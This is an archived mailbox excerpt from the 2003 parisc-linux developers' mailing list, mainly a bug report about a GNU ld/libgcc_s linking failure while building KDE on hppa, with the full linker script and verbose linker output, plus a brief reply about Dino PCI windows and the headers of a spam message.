	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org>
	<1071241131.1814.5.camel@mulgrave>
	<1071257297.21661.3.camel@dhcp23.swansea.linux.org.uk>
	<20031213035125.GB28775@colo.lackof.org>
	<1071329635.23720.2.camel@dhcp23.swansea.linux.org.uk>
	<1071330357.2024.4.camel@mulgrave>
	<20031213203343.GP27116@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623050 3345 80.91.229.3 (22 Nov 2014 02:24:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: grundler@lackof.org  Sat Dec 13 13:52:22 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51DA548B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Dec 2003 13:52:22 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8A9F5298037; Sat, 13 Dec 2003 13:52:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 05880-06; Sat, 13 Dec 2003 13:52:20 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DA49029802E; Sat, 13 Dec 2003 13:52:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031213203343.GP27116@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 20:52:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20382

On Sat, Dec 13, 2003 at 08:33:43PM +0000, Matthew Wilcox wrote:
> Well, we could allocate more than 8MB for a Dino's PCI window.  As I
> recall (should check the spec ...) we can set any of the 30 bits in
> the status register to forward any of those 8MB chunks to the PCI bus.

that's correct. Only the top most and bottom most bits are fixed
at zero (both 8MB ranges are not routeable).

> I think we could also get away with allocating less than 8MB to an
> individual PCI bus by programming the CCIO registers to not forward all
> that space to the parent GSC bus.  But none of this has been necessay so
> far, and I hope we don't manage to concoct a situation where it might be.

"Doctor, when I stand like this, my neck hurts."
"Don't do that."

:^)

grant


From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strange GNU ld / libgcc_s.so problems
Date: Sun, 14 Dec 2003 12:11:07 +0100
Lines: 485
Approved: news@gmane.org
Message-ID: <200312141209.28283.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623050 3350 80.91.229.3 (22 Nov 2014 02:24:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Dec 14 04:11:16 2003
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 50FF748B6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Dec 2003 04:11:15 -0700 (MST)
Original-Received: (qmail 5416 invoked by uid 65534); 14 Dec 2003 11:11:10 -0000
Original-Received: from pD9040713.dip.t-dialin.net (EHLO p100) (217.4.7.19)
	by mail.gmx.net (mp022) with SMTP; 14 Dec 2003 12:11:10 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Dec 2003 11:11:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20383

I'm trying to compile KDE and during one step the following command is exec=
uted:

/usr/lib/gcc-lib/hppa-linux/3.3.2/collect2 --verbose --eh-frame-hdr -dynami=
c-linker /lib/ld.so.1 -o .libs/meinproc /usr/lib/gcc-lib/hppa-linux/3.3.2/.=
=2E/../../crt1.o /usr/lib/gcc-lib/hppa-linux/3.3.2/../../../crti.o /usr/lib=
/gcc-lib/hppa-linux/3.3.2/crtbegin.o -L/usr/X11R6/lib -L/opt/kde/qt/lib -L/=
opt/kde/lib -L/usr/lib -L/usr/lib/gcc-lib/hppa-linux/3.3.2 -L/usr/lib/gcc-l=
ib/hppa-linux/3.3.2/../../.. meinproc.o xslt_pure.o /usr/lib/libgcc_s.so.1 =
=2E/.libs/libkbzipfilter_dummy.a /home/cvs/xc/c3000-debian/kdelibs/kio/.lib=
s/libkio.so /home/cvs/xc/c3000-debian/kdelibs/kdeui/.libs/libkdeui.so /home=
/cvs/xc/c3000-debian/kdelibs/kdesu/.libs/libkdesu.so /home/cvs/xc/c3000-deb=
ian/kdelibs/kdecore/.libs/libkdecore.so /home/cvs/xc/c3000-debian/kdelibs/d=
cop/.libs/libDCOP.so -lresolv /usr/lib/libart_lgpl_2.so /home/cvs/xc/c3000-=
debian/kdelibs/kdefx/.libs/libkdefx.so /opt/qt-copy/lib/libqt-mt.so /usr/li=
b/libXft.so /usr/lib/libfreetype.so -lfontconfig -ldl -lpng -lXext -lSM -lI=
CE /usr/lib/libXrender.so -lX11 -lutil  -lbz2 /usr/lib/libxslt.so /usr/lib/=
libxml2.so /usr/lib/libgcc_s.so.1 -lz -lpthread --rpath /opt/kde/lib --rpat=
h /opt/qt-copy/lib --rpath /opt/kde/qt/lib --rpath /usr/X11R6/lib --rpath /=
usr/lib -lstdc++ -lm -lgcc_s -lgcc -lgcc -lc -lgcc_s -lgcc /usr/lib/gcc-lib=
/hppa-linux/3.3.2/crtend.o /usr/lib/gcc-lib/hppa-linux/3.3.2/../../../crtn.o

Below is the output and I don't understand the part which I marked with "##=
####".
Why does collect2 suddenly tries to resolve libstdc++.so while it searched =
for=20
libgcc_s.so ? All other libraries (e.g.-lutil) behave IMHO normal.
Any ideas ? This seems to me like a bug in gcc 3.3.2, but I'm no expert her=
e.

Thanks,
Helge

GNU ld version 2.14.90.0.7 20031029 Debian GNU/Linux
  Supported emulations:
   hppalinux
   hppa64linux
using internal linker script:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
/* Script for -z combreloc: combine and sort reloc sections */
OUTPUT_FORMAT("elf32-hppa-linux", "elf32-hppa-linux",
	      "elf32-hppa-linux")
OUTPUT_ARCH(hppa:hppa1.1)
ENTRY(_start)
SEARCH_DIR("/usr/hppa-linux/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr=
/local/lib"); SEARCH_DIR("/lib");
/* Do we need any of these for elf?
   __DYNAMIC =3D 0;    */
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start =3D 0x10000); . =3D 0x10000 + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .hash           : { *(.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rel.dyn        :
    {
      *(.rel.init)
      *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*)
      *(.rel.fini)
      *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*)
      *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*)
      *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*)
      *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*)
      *(.rel.ctors)
      *(.rel.dtors)
      *(.rel.got)
      *(.rel.sdata .rel.sdata.* .rel.gnu.linkonce.s.*)
      *(.rel.sbss .rel.sbss.* .rel.gnu.linkonce.sb.*)
      *(.rel.sdata2 .rel.sdata2.* .rel.gnu.linkonce.s2.*)
      *(.rel.sbss2 .rel.sbss2.* .rel.gnu.linkonce.sb2.*)
      *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*)
    }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.sdata .rela.sdata.* .rela.gnu.linkonce.s.*)
      *(.rela.sbss .rela.sbss.* .rela.gnu.linkonce.sb.*)
      *(.rela.sdata2 .rela.sdata2.* .rela.gnu.linkonce.s2.*)
      *(.rela.sbss2 .rela.sbss2.* .rela.gnu.linkonce.sb2.*)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
    }
  .rel.plt        : { *(.rel.plt) }
  .rela.plt       : { *(.rela.plt) }
  .init           :
  {
    KEEP (*(.init))
  } =3D0x08000240
  .text           :
  {
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =3D0x08000240
  .fini           :
  {
    KEEP (*(.fini))
  } =3D0x08000240
  PROVIDE (__etext =3D .);
  PROVIDE (_etext =3D .);
  PROVIDE (etext =3D .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .sdata2         : { *(.sdata2 .sdata2.* .gnu.linkonce.s2.*) }
  .sbss2          : { *(.sbss2 .sbss2.* .gnu.linkonce.sb2.*) }
  .PARISC.unwind   : { *(.PARISC.unwind) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . =3D ALIGN(0x10000) + (. & (0x10000 - 1));
  /* Ensure the __preinit_array_start label is properly aligned.  We
     could instead move the label definition inside the section, but
     the linker would then create the section even if it turns out to
     be empty, which isn't pretty.  */
  . =3D ALIGN(32 / 8);
  PROVIDE (__preinit_array_start =3D .);
  .preinit_array     : { *(.preinit_array) }
  PROVIDE (__preinit_array_end =3D .);
  PROVIDE (__init_array_start =3D .);
  .init_array     : { *(.init_array) }
  PROVIDE (__init_array_end =3D .);
  PROVIDE (__fini_array_start =3D .);
  .fini_array     : { *(.fini_array) }
  PROVIDE (__fini_array_end =3D .);
  .data           :
  {
    PROVIDE ($global$ =3D .);
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .eh_frame       : { KEEP (*(.eh_frame)) }
  .gcc_except_table   : { *(.gcc_except_table) }
  .dynamic        : { *(.dynamic) }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin*.o(.ctors))
    /* We don't want to include the .ctor section from
       from the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend*.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin*.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend*.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .plt            : { *(.plt) }
  .got            : { *(.got.plt) *(.got) }
  /* We want the small data sections together, so single-instruction offsets
     can access them all, and initialized data all before uninitialized, so
     we can shorten the on-disk segment size.  */
  .sdata          :
  {
    *(.sdata .sdata.* .gnu.linkonce.s.*)
  }
  _edata =3D .;
  PROVIDE (edata =3D .);
  __bss_start =3D .;
  .sbss           :
  {
    PROVIDE (__sbss_start =3D .);
    PROVIDE (___sbss_start =3D .);
    *(.dynsbss)
    *(.sbss .sbss.* .gnu.linkonce.sb.*)
    *(.scommon)
    PROVIDE (__sbss_end =3D .);
    PROVIDE (___sbss_end =3D .);
  }
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.  */
   . =3D ALIGN(32 / 8);
  }
  . =3D ALIGN(32 / 8);
  _end =3D .;
  PROVIDE (end =3D .);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /DISCARD/ : { *(.note.GNU-stack) }
}


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/../../../crt1.o succeeded
/usr/lib/gcc-lib/hppa-linux/3.3.2/../../../crt1.o
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/../../../crti.o succeeded
/usr/lib/gcc-lib/hppa-linux/3.3.2/../../../crti.o
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/crtbegin.o succeeded
/usr/lib/gcc-lib/hppa-linux/3.3.2/crtbegin.o
attempt to open meinproc.o succeeded
meinproc.o
attempt to open xslt_pure.o succeeded
xslt_pure.o
attempt to open /usr/lib/libgcc_s.so.1 succeeded
/usr/lib/libgcc_s.so.1
attempt to open ./.libs/libkbzipfilter_dummy.a succeeded
(./.libs/libkbzipfilter_dummy.a)kbzip2filter.o
attempt to open /home/cvs/xc/c3000-debian/kdelibs/kio/.libs/libkio.so succe=
eded
/home/cvs/xc/c3000-debian/kdelibs/kio/.libs/libkio.so
attempt to open /home/cvs/xc/c3000-debian/kdelibs/kdeui/.libs/libkdeui.so s=
ucceeded
/home/cvs/xc/c3000-debian/kdelibs/kdeui/.libs/libkdeui.so
attempt to open /home/cvs/xc/c3000-debian/kdelibs/kdesu/.libs/libkdesu.so s=
ucceeded
/home/cvs/xc/c3000-debian/kdelibs/kdesu/.libs/libkdesu.so
attempt to open /home/cvs/xc/c3000-debian/kdelibs/kdecore/.libs/libkdecore.=
so succeeded
/home/cvs/xc/c3000-debian/kdelibs/kdecore/.libs/libkdecore.so
attempt to open /home/cvs/xc/c3000-debian/kdelibs/dcop/.libs/libDCOP.so suc=
ceeded
/home/cvs/xc/c3000-debian/kdelibs/dcop/.libs/libDCOP.so
attempt to open /usr/X11R6/lib/libresolv.so failed
attempt to open /usr/X11R6/lib/libresolv.a failed
attempt to open /opt/kde/qt/lib/libresolv.so failed
attempt to open /opt/kde/qt/lib/libresolv.a failed
attempt to open /opt/kde/lib/libresolv.so failed
attempt to open /opt/kde/lib/libresolv.a failed
attempt to open /usr/lib/libresolv.so succeeded
=2Dlresolv (/usr/lib/libresolv.so)
attempt to open /usr/lib/libart_lgpl_2.so succeeded
/usr/lib/libart_lgpl_2.so
attempt to open /home/cvs/xc/c3000-debian/kdelibs/kdefx/.libs/libkdefx.so s=
ucceeded
/home/cvs/xc/c3000-debian/kdelibs/kdefx/.libs/libkdefx.so
attempt to open /opt/qt-copy/lib/libqt-mt.so succeeded
/opt/qt-copy/lib/libqt-mt.so
attempt to open /usr/lib/libXft.so succeeded
/usr/lib/libXft.so
attempt to open /usr/lib/libfreetype.so succeeded
/usr/lib/libfreetype.so
attempt to open /usr/X11R6/lib/libfontconfig.so failed
attempt to open /usr/X11R6/lib/libfontconfig.a failed
attempt to open /opt/kde/qt/lib/libfontconfig.so failed
attempt to open /opt/kde/qt/lib/libfontconfig.a failed
attempt to open /opt/kde/lib/libfontconfig.so failed
attempt to open /opt/kde/lib/libfontconfig.a failed
attempt to open /usr/lib/libfontconfig.so succeeded
=2Dlfontconfig (/usr/lib/libfontconfig.so)
attempt to open /usr/X11R6/lib/libdl.so failed
attempt to open /usr/X11R6/lib/libdl.a failed
attempt to open /opt/kde/qt/lib/libdl.so failed
attempt to open /opt/kde/qt/lib/libdl.a failed
attempt to open /opt/kde/lib/libdl.so failed
attempt to open /opt/kde/lib/libdl.a failed
attempt to open /usr/lib/libdl.so succeeded
=2Dldl (/usr/lib/libdl.so)
attempt to open /usr/X11R6/lib/libpng.so failed
attempt to open /usr/X11R6/lib/libpng.a failed
attempt to open /opt/kde/qt/lib/libpng.so failed
attempt to open /opt/kde/qt/lib/libpng.a failed
attempt to open /opt/kde/lib/libpng.so failed
attempt to open /opt/kde/lib/libpng.a failed
attempt to open /usr/lib/libpng.so succeeded
=2Dlpng (/usr/lib/libpng.so)
attempt to open /usr/X11R6/lib/libXext.so succeeded
=2DlXext (/usr/X11R6/lib/libXext.so)
attempt to open /usr/X11R6/lib/libSM.so succeeded
=2DlSM (/usr/X11R6/lib/libSM.so)
attempt to open /usr/X11R6/lib/libICE.so succeeded
=2DlICE (/usr/X11R6/lib/libICE.so)
attempt to open /usr/lib/libXrender.so succeeded
/usr/lib/libXrender.so
attempt to open /usr/X11R6/lib/libX11.so succeeded
=2DlX11 (/usr/X11R6/lib/libX11.so)
attempt to open /usr/X11R6/lib/libutil.so failed
attempt to open /usr/X11R6/lib/libutil.a failed
attempt to open /opt/kde/qt/lib/libutil.so failed
attempt to open /opt/kde/qt/lib/libutil.a failed
attempt to open /opt/kde/lib/libutil.so failed
attempt to open /opt/kde/lib/libutil.a failed
attempt to open /usr/lib/libutil.so succeeded
=2Dlutil (/usr/lib/libutil.so)
attempt to open /usr/X11R6/lib/libbz2.so failed
attempt to open /usr/X11R6/lib/libbz2.a failed
attempt to open /opt/kde/qt/lib/libbz2.so failed
attempt to open /opt/kde/qt/lib/libbz2.a failed
attempt to open /opt/kde/lib/libbz2.so failed
attempt to open /opt/kde/lib/libbz2.a failed
attempt to open /usr/lib/libbz2.so succeeded
=2Dlbz2 (/usr/lib/libbz2.so)
attempt to open /usr/lib/libxslt.so succeeded
/usr/lib/libxslt.so
attempt to open /usr/lib/libxml2.so succeeded
/usr/lib/libxml2.so
attempt to open /usr/lib/libgcc_s.so.1 succeeded
/usr/lib/libgcc_s.so.1
attempt to open /usr/X11R6/lib/libz.so failed
attempt to open /usr/X11R6/lib/libz.a failed
attempt to open /opt/kde/qt/lib/libz.so failed
attempt to open /opt/kde/qt/lib/libz.a failed
attempt to open /opt/kde/lib/libz.so failed
attempt to open /opt/kde/lib/libz.a failed
attempt to open /usr/lib/libz.so succeeded
=2Dlz (/usr/lib/libz.so)
attempt to open /usr/X11R6/lib/libpthread.so failed
attempt to open /usr/X11R6/lib/libpthread.a failed
attempt to open /opt/kde/qt/lib/libpthread.so failed
attempt to open /opt/kde/qt/lib/libpthread.a failed
attempt to open /opt/kde/lib/libpthread.so failed
attempt to open /opt/kde/lib/libpthread.a failed
attempt to open /usr/lib/libpthread.so succeeded
opened script file /usr/lib/libpthread.so
opened script file /usr/lib/libpthread.so
attempt to open /lib/libpthread.so.0 succeeded
/lib/libpthread.so.0
attempt to open /usr/lib/libpthread_nonshared.a succeeded
attempt to open /usr/X11R6/lib/libstdc++.so failed
attempt to open /usr/X11R6/lib/libstdc++.a failed
attempt to open /opt/kde/qt/lib/libstdc++.so failed
attempt to open /opt/kde/qt/lib/libstdc++.a failed
attempt to open /opt/kde/lib/libstdc++.so failed
attempt to open /opt/kde/lib/libstdc++.a failed
attempt to open /usr/lib/libstdc++.so succeeded
=2Dlstdc++ (/usr/lib/libstdc++.so)
attempt to open /usr/X11R6/lib/libm.so failed
attempt to open /usr/X11R6/lib/libm.a failed
attempt to open /opt/kde/qt/lib/libm.so failed
attempt to open /opt/kde/qt/lib/libm.a failed
attempt to open /opt/kde/lib/libm.so failed
attempt to open /opt/kde/lib/libm.a failed
attempt to open /usr/lib/libm.so succeeded
=2Dlm (/usr/lib/libm.so)
attempt to open /usr/X11R6/lib/libgcc_s.so failed
attempt to open /usr/X11R6/lib/libgcc_s.a failed
attempt to open /opt/kde/qt/lib/libgcc_s.so failed
attempt to open /opt/kde/qt/lib/libgcc_s.a failed
attempt to open /opt/kde/lib/libgcc_s.so failed
attempt to open /opt/kde/lib/libgcc_s.a failed
attempt to open /usr/lib/libgcc_s.so succeeded
=2Dlgcc_s (/usr/lib/libgcc_s.so)
attempt to open /usr/X11R6/lib/libgcc.so failed
attempt to open /usr/X11R6/lib/libgcc.a failed
attempt to open /opt/kde/qt/lib/libgcc.so failed
attempt to open /opt/kde/qt/lib/libgcc.a failed
attempt to open /opt/kde/lib/libgcc.so failed
attempt to open /opt/kde/lib/libgcc.a failed
attempt to open /usr/lib/libgcc.so failed
attempt to open /usr/lib/libgcc.a failed
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.so failed
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.a succeeded
(/usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.a)_divU.oS
(/usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.a)_div_const.oS
(/usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.a)_dyncall.oS
(/usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.a)fptr.oS
attempt to open /usr/X11R6/lib/libgcc.so failed
attempt to open /usr/X11R6/lib/libgcc.a failed
attempt to open /opt/kde/qt/lib/libgcc.so failed
attempt to open /opt/kde/qt/lib/libgcc.a failed
attempt to open /opt/kde/lib/libgcc.so failed
attempt to open /opt/kde/lib/libgcc.a failed
attempt to open /usr/lib/libgcc.so failed
attempt to open /usr/lib/libgcc.a failed
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.so failed
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.a succeeded
attempt to open /usr/X11R6/lib/libc.so failed
attempt to open /usr/X11R6/lib/libc.a failed
attempt to open /opt/kde/qt/lib/libc.so failed
attempt to open /opt/kde/qt/lib/libc.a failed
attempt to open /opt/kde/lib/libc.so failed
attempt to open /opt/kde/lib/libc.a failed
attempt to open /usr/lib/libc.so succeeded
opened script file /usr/lib/libc.so
opened script file /usr/lib/libc.so
attempt to open /lib/libc.so.6 succeeded
/lib/libc.so.6
attempt to open /usr/lib/libc_nonshared.a succeeded
(/usr/lib/libc_nonshared.a)elf-init.oS
attempt to open /usr/X11R6/lib/libgcc_s.so failed
attempt to open /usr/X11R6/lib/libgcc_s.a failed
attempt to open /opt/kde/qt/lib/libgcc_s.so failed
attempt to open /opt/kde/qt/lib/libgcc_s.a failed
attempt to open /opt/kde/lib/libgcc_s.so failed
attempt to open /opt/kde/lib/libgcc_s.a failed
attempt to open /usr/lib/libgcc_s.so succeeded
=2Dlgcc_s (//usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Res=
ume@GCC_3.0'
/usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Register@GCC_3.=
0'
/usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_RaiseException@=
GCC_3.0'
/usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Unregister@GCC_=
3.0'
/usr/lib/libstdc++.so: undefined reference to `_Unwind_SjLj_Resume_or_Rethr=
ow@GCC_3.3'
usr/lib/libgcc_s.so)

##### ^^^ Why does /usr/lib/libstdc++.so comes into the game here ?
##### The double "//" seems suspect too, since it continues with "usr/lib/l=
ibgcc_s.so"=20
##### in the last line without the trailing "/". It seems this "string" was=
 broken up
##### right in the middle....

attempt to open /usr/X11R6/lib/libgcc.so failed
attempt to open /usr/X11R6/lib/libgcc.a failed
attempt to open /opt/kde/qt/lib/libgcc.so failed
attempt to open /opt/kde/qt/lib/libgcc.a failed
attempt to open /opt/kde/lib/libgcc.so failed
attempt to open /opt/kde/lib/libgcc.a failed
attempt to open /usr/lib/libgcc.so failed
attempt to open /usr/lib/libgcc.a failed
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.so failed
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/libgcc.a succeeded
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/crtend.o succeeded
/usr/lib/gcc-lib/hppa-linux/3.3.2/crtend.o
attempt to open /usr/lib/gcc-lib/hppa-linux/3.3.2/../../../crtn.o succeeded
/usr/lib/gcc-lib/hppa-linux/3.3.2/../../../crtn.o
libfam.so.0 needed by /home/cvs/xc/c3000-debian/kdelibs/kio/.libs/libkio.so
found libfam.so.0 at /usr/lib/libfam.so.0
libexpat.so.1 needed by /usr/lib/libfontconfig.so
found libexpat.so.1 at /usr/lib/libexpat.so.1
ld.so.1 needed by /usr/lib/libdl.so
found ld.so.1 at /lib/ld.so.1
collect2: ld returned 1 exit status


From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jaime Stacy" <margaret@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Be.. beautiful you know you want to!! voerxtlk utnvd
Date: Mon, 15 Dec 03 05:35:53 GMT
Lines: 50
Approved: news@gmane.org
Message-ID: <ih0$$3u--b--0-2-d@f5610>
Reply-To: Jaime Stacy <margaret@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="BDACD_B7.F9_AA.A.DF._5"
X-Trace: ger.gmane.org 1416623050 3355 80.91.229.3 (22 Nov 2014 02:24:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
